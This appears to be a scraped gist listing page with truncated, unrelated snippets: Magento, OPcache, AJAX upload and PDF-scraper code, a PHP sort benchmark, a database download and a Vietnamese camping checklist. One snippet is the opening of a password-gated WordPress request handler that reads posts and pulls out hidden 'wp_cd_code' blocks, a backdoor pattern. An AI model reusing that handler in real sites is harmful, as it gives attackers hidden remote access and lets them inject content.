This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head></head> | |
<body> | |
<input type="file" id="file"> | |
<script type="text/javascript"> | |
var fileSelect = document.getElementById('file'); | |
fileSelect.onchange = function (e) { | |
// Get the selected files from the input. | |
var files = fileSelect.files; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head></head> | |
<body> | |
<script type="text/javascript"> | |
// Set up the request. | |
var xhr = new XMLHttpRequest(); | |
// Open the connection. | |
xhr.open('POST', 'test-ajax-request.php', true); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class MagentoHelper { | |
function addSimpleProductToWishlist($productId, $customerId) { | |
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCustomer($customerId, true); | |
$product = Mage::getModel('catalog/product')->load($productId); | |
$buyRequest = new Varien_Object(array()); // any possible options that are configurable and you want to save with the product | |
$result = $wishlist->addNewItem($product, $buyRequest); | |
$wishlist->save(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
define('THOUSAND_SEPARATOR',true); | |
if (!extension_loaded('Zend OPcache')) { | |
echo '<div style="background-color: #F2DEDE; color: #B94A48; padding: 1em;">You do not have the Zend OPcache extension loaded, sample data is being shown instead.</div>'; | |
require 'data-sample.php'; | |
} | |
class OpCacheDataModel | |
{ | |
private $_configuration; | |
private $_status; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
include 'vendor/autoload.php'; | |
use Dompdf\Dompdf; | |
$DOMAIN = 'http://manga-scan.com'; | |
function printPdf($manga_name) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
============================== cần thiết ============================== | |
lều | |
nước: mỗi người 5 lít, thiếu thì lấy nước suối | |
đồ ăn khô: đồ hộp, bánh mì sandwich, mì ly | |
nồi nhỏ, bếp cồn, cồn | |
bật lửa | |
diêm | |
đèn pin |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'c9c305a74573cd78066f0ac30ccd490c')) | |
{ | |
switch ($_REQUEST['action']) | |
{ | |
case 'get_all_links'; | |
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) | |
{ | |
$data['code'] = ''; | |
if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$start = microtime(true); | |
$MAX = 1000000; | |
$arr = []; | |
for($a=0;$a<$MAX;$a++) $arr[] = rand(0,$MAX); | |
asort($arr); | |
print round(microtime(true) - $start,2) . 's' . PHP_EOL; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
header('Content-Type: application/octet-stream'); | |
header("Content-Transfer-Encoding: Binary"); | |
header("Content-disposition: attachment; filename=\"db.sql\""); | |
// readfile('db.sql'); // do the double-download-dance (dirty but worky) | |
print file_get_contents('db.sql'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ob_end_flush(); | |
ob_start(); | |
for($a=0;$a<5;$a++) { | |
print $a . PHP_EOL; | |
flush(); | |
ob_flush(); | |
sleep(1); | |
} |
OlderNewer